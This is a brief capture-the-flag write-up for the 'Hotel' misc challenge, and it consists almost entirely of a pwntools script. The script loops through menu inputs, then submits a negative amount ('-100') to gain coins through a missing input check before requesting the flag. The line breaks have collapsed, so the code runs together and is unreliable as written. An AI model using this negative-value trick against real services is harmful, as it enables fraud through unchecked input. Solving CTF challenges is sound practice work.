Writeup for Hotel (misc) - HackTheBox x Synack RedTeamFive CTF (2021) 💜
Solution
from pwn import*io =remote('ip', 31337)# Loop through 40 times (backwards)# This will allow us to deal with XOR in final stagefor i inrange(40, 0, -1): io.sendline('1') io.sendlineafter(':', str(i))# Get coinsio.sendline('2')# Negative value to add 100 coinsio.sendlineafter('?', '-100')# Try and get flagio.sendline('3')# Win?io.interactive()